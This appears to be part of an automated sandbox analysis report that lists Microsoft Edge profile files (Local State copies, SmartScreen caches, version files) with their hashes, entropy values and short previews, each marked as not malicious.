C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089832794433163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWddi1zNtPMjkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/UkzItSmd6qE7lFoC
MD5:	6EF2BDC139914578F3E893EFF4FFE813
SHA1:	FFE381FE36F0BC9891721E91A75B7F420FEE35AE
SHA-256:	EA485605FE85CC2C56AAE09A84F48CB71A9FA246356A9463E1033F07BA0BA639
SHA-512:	4DC658B4A28A7A29407498AE497935F3A268406F5E23630A349BB90BE7775DA3C2CD828BA3923A1C17EB2E0C9B2A7E0D3C4BF77EA8342C28646263C1C44472F8
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF398c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089832794433163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWddi1zNtPMjkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/UkzItSmd6qE7lFoC
MD5:	6EF2BDC139914578F3E893EFF4FFE813
SHA1:	FFE381FE36F0BC9891721E91A75B7F420FEE35AE
SHA-256:	EA485605FE85CC2C56AAE09A84F48CB71A9FA246356A9463E1033F07BA0BA639
SHA-512:	4DC658B4A28A7A29407498AE497935F3A268406F5E23630A349BB90BE7775DA3C2CD828BA3923A1C17EB2E0C9B2A7E0D3C4BF77EA8342C28646263C1C44472F8
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39a8b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089832794433163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWddi1zNtPMjkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/UkzItSmd6qE7lFoC
MD5:	6EF2BDC139914578F3E893EFF4FFE813
SHA1:	FFE381FE36F0BC9891721E91A75B7F420FEE35AE
SHA-256:	EA485605FE85CC2C56AAE09A84F48CB71A9FA246356A9463E1033F07BA0BA639
SHA-512:	4DC658B4A28A7A29407498AE497935F3A268406F5E23630A349BB90BE7775DA3C2CD828BA3923A1C17EB2E0C9B2A7E0D3C4BF77EA8342C28646263C1C44472F8
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c18c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089832794433163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWddi1zNtPMjkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/UkzItSmd6qE7lFoC
MD5:	6EF2BDC139914578F3E893EFF4FFE813
SHA1:	FFE381FE36F0BC9891721E91A75B7F420FEE35AE
SHA-256:	EA485605FE85CC2C56AAE09A84F48CB71A9FA246356A9463E1033F07BA0BA639
SHA-512:	4DC658B4A28A7A29407498AE497935F3A268406F5E23630A349BB90BE7775DA3C2CD828BA3923A1C17EB2E0C9B2A7E0D3C4BF77EA8342C28646263C1C44472F8
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f1a4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089832794433163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWddi1zNtPMjkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/UkzItSmd6qE7lFoC
MD5:	6EF2BDC139914578F3E893EFF4FFE813
SHA1:	FFE381FE36F0BC9891721E91A75B7F420FEE35AE
SHA-256:	EA485605FE85CC2C56AAE09A84F48CB71A9FA246356A9463E1033F07BA0BA639
SHA-512:	4DC658B4A28A7A29407498AE497935F3A268406F5E23630A349BB90BE7775DA3C2CD828BA3923A1C17EB2E0C9B2A7E0D3C4BF77EA8342C28646263C1C44472F8
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Reputation:	unknown
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Reputation:	unknown
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Reputation:	unknown
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Reputation:	unknown
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Reputation:	unknown
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Reputation:	unknown
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Reputation:	unknown
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Reputation:	unknown
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Reputation:	unknown
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Reputation:	unknown
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.988731549594657
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXfsSNMy:YWLSGTt1o9LuLgfGBPAzkVj/T8lPsZy
MD5:	2926DC6D7580A654C00EBECA0CD790AA
SHA1:	74A95BF83028CDF5012B81AE994A18C64BEF1CDE
SHA-256:	1F14050F61038C59C716317AF4001F2142979404799E0C392A90A689552E3DAB
SHA-512:	A798F186882BADB45431F0F14A99ADED581FE38F6A648D49842899AF3B13A4A49779B98364939B2A8358FBB074F48F769F7D841F222CF2BAB72FC021D940285A
Malicious:	false
Reputation:	unknown
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732002089791210}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
